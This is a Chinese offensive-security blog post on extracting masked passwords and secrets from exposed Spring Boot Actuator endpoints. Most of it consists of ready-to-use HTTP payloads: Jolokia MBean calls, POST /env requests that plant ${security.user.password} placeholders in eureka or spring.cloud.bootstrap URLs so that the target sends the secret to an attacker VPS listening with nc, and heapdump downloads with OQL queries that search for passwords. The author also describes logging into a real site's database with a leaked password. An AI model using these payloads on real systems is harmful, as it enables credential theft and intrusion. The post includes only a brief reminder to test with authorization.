Dest1ny攻防实战:SpringBoot 脱敏属性***明文获取

ops/2025/2/5 22:22:59/

今天是dest1ny攻防实战!

脱敏springboot敏感数据!!

大家多多支持,多多点赞,多多关注!!

谢谢大家,下面我们来看今天的内容!


1.前言

SpringBoot敏感信息泄露,当存在泄露特定的信息时可导致进一步的敏感信息获取及RCE危害。对于密码相关的敏感信息,/env默认是会打码****显示的。

2.SpringBoott 获取env端点脱敏数据

当访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret、key等)的属性名对应的属性值用 * 号替换达到脱敏的效果。 如果对属性名的命名不规范,则会导致敏感信息直接明文显示出来。 如下为实战中遇到的一个网站。 数据库密码属性明文不规范,password命名为了passwd,导致密码直接明文显示出来。

数据库地址为外网地址,直接登录,成功获取到了数据库权限。

 正常情况下spring actuator会使用*号进行脱敏处理。

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 **** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名,尝试进行脱敏处理,获取明文。

3.脱敏还原方法1

3.1.利用条件

(1)目标网站存在 /jolokia 或 /actuator/jolokia 接口 (2)目标使用了 jolokia-core 依赖(版本要求暂未知)

3.2.利用过程

1.jolokia 调用相关 Mbean 获取明文 调用 org.springframework.boot Mbean 实际调用的是 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x payload:

POST /jolokia
Content-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x payload:

POST /actuator/jolokia
Content-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

2.调用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相关依赖) 实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

POST /jolokia
Content-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x payload:

POST /actuator/jolokia
Content-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

 

4.方法2

4.1.利用条件

(1)可以 GET 请求目标网站的 /env (2)可以 POST 请求目标网站的 /env (3)可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) (4)目标使用了 spring-cloud-starter-netflix-eureka-client 依赖 (5)目标可出网

4.2.利用过程

使用 nc 监听 HTTP 请求 (1)在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

(2)设置 eureka.client.serviceUrl.defaultZone 属性 修改security.user.password为想要读取的密文。

spring 1.x payload:

POST /env
Content-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

 

spring 2.x payload:

POST /actuator/env
Content-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

(3)访问/refresh端点刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

(4)解码属性值 正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容: Authorization: Basic dmFsdWU6MTIzNDU2 使用base64解码得到明文。

5.方法3

5.1.利用条件

(1)通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求; (2)请求可出外网;

5.2.利用过程

参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据。 (1)找到想要获取的属性名 GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 **** 关键词,确定其对应的属性名。

(2)使用 nc 监听 HTTP 请求 在自己控制的外网服务器上监听 80 端口: nc -lvk 80

(3)触发对外 http 请求 spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况): spring 1.x payload:

POST /env
Content-Type: application/x-www-form-urlencodedspring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x payload:

POST /actuator/env
Content-Type: application/json{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况):

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x


POST /actuator/env
Content-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

(4)刷新配置

spring 1.xPOST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.xPOST /actuator/refresh
Content-Type: application/json

vps成功接收到密码。

6.方法四:利用heapdump

6.1.利用条件

(1)目标不出网,且/jolokia 接口没有合适的 MBean 或者不支持 POST 请求; (2)目标存在/heapdump 或 /actuator/heapdump端点;

6.2.利用过程

(1)首先找到想要获取的属性名

(2)下载 jvm heap 信息 访问/heapdump 或 /actuator/heapdump端点,下载应用实时的 JVM 堆信息。

spring boot 1.x版本下载的heapdump文件包含了时间以及后缀,在spring boot 2.x版本,需要把下载到的heapdump文件修改为hprof后缀。

(3)使用 Eclipse Memory Analyzer 获得 jvm heap 中的密码明文 下载地址:https://www.eclipse.org/mat/downloads.php 运行Eclipse Memory Analyzer,把文件导入进去,点击OQL输入执行的查询语句,点击感叹号执行语句。

select * from org.springframework.web.context.support.StandardServletEnvironment

查找想要查看的密码属性,理论来说spring boot 1.x版本redis密码存在java.util.Hashtable$Entry实例的键值对中,2.x版本存储在java.util.LinkedHashMap$Entry实例的键值对中,实际情况中,无论1.x和2.x版本这2个实例都有可能存储密码属性,也可能存储在一些其它实例中,需要自行查找

搜索存储在java.util.LinkedHashMap$Entry实例的密码属性。


select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

搜索存储在java.util.Hashtable$Entry实例的密码属性。

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

7.方法5:利用heapdump2

7.1.利用条件

和6.1一致

7.2.利用过程

(1)和6.2类似,下载程序运行堆栈信息heapdump; (2)获取加密过程,使用工具heapdump_tool即可,进行搜索获取; 详见: https://github.com/wyzxxz/heapdump_tool 下载地址:https://share.feijipan.com/s/dFAuqYQy

8.注意事项

POST访问env端点修改属性,会破坏原有属性,影响网站系统正常使用。请在取得授权后进行测试,并且记录原有属性值,测试完成后及时修改回去,防止不必要的麻烦。


http://www.ppmy.cn/ops/155986.html

相关文章

【棋弈云端】网页五子棋项目测试报告

目录 一、项目背景1.1 项目简介1.2 应用技术 二、项目功能2.1 用户管理功能2.2 游戏对战功能 三、测试报告3.1 功能测试3.1.1注册功能测试3.1.2 登录功能测试3.1.3 匹配和落子测试 3.2 界面测试3.3 性能测试3.4 自动化测试3.4.1 创建驱动对象3.4.2 自动化检测注册功能3.4.3 自动…

如何构建ObjC语言编译环境?构建无比简洁的clang编译ObjC环境?Windows搭建Swift语言编译环境?

如何构建ObjC语言编译环境? 除了在线ObjC编译器,本地环境Windows/Mac/Linux均可以搭建ObjC编译环境。 Mac自然不用多说,ObjC是亲儿子。(WSL Ubuntu 22.04) Ubuntu可以安装gobjc/gnustep和gnustep-devel构建编译环境。 sudo apt-get install gobjc gnus…

PostCss

什么是 PostCss 如果把 CSS 单独拎出来看,光是样式本身,就有很多事情要处理。 既然有这么多事情要处理,何不把这些事情集中到一起统一处理呢? PostCss 就是基于这样的理念出现的。 PostCss 类似于一个编译器,可以将…

[C语言日寄] 源码、补码、反码介绍

【作者主页】siy2333 【专栏介绍】⌈c语言日寄⌋:这是一个专注于C语言刷题的专栏,精选题目,搭配详细题解、拓展算法。从基础语法到复杂算法,题目涉及的知识点全面覆盖,助力你系统提升。无论你是初学者,还是…

支持selenium的chrome driver更新到132.0.6834.110

最近chrome释放新版本:132.0.6834.110 如果运行selenium自动化测试出现以下问题,是需要升级chromedriver才可以解决的。 selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only s…

【Word快速设置论文公式居中编号右对齐】

1. 查看纸张大小 布局 —> 纸张大小 —> 21厘米*29.7厘米 —> 得到宽度为21厘米 2. 查看左右的页边距 布局 —> 页边距 —> 1.57厘米和1.57厘米 3. 计算距离 公式的距离:(21-1.57-1.57)/2 8.93厘米 编号靠右的距离&…

OSCP - Proving Grounds - Jordak

主要知识点 /usr/bin/env提权 具体步骤 执行nmap扫描 Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-27 19:54 China Standard Time Nmap scan report for 192.168.221.109 Host is up (0.069s latency). Not shown: 65533 filtered tcp ports (no-response) PORT …

使用React和Material-UI构建TODO应用的前端UI

使用React和Material-UI构建TODO应用的前端UI 引言环境准备代码解析1. 导入必要的模块2. 创建React组件3. 定义函数3.1 获取TODO列表3.2 创建TODO项3.3 更新TODO项3.4 删除TODO项3.5 处理编辑点击事件3.6 关闭编辑对话框3.7 保存编辑内容 4. 使用Effect钩子5. 渲染组件 功能实现…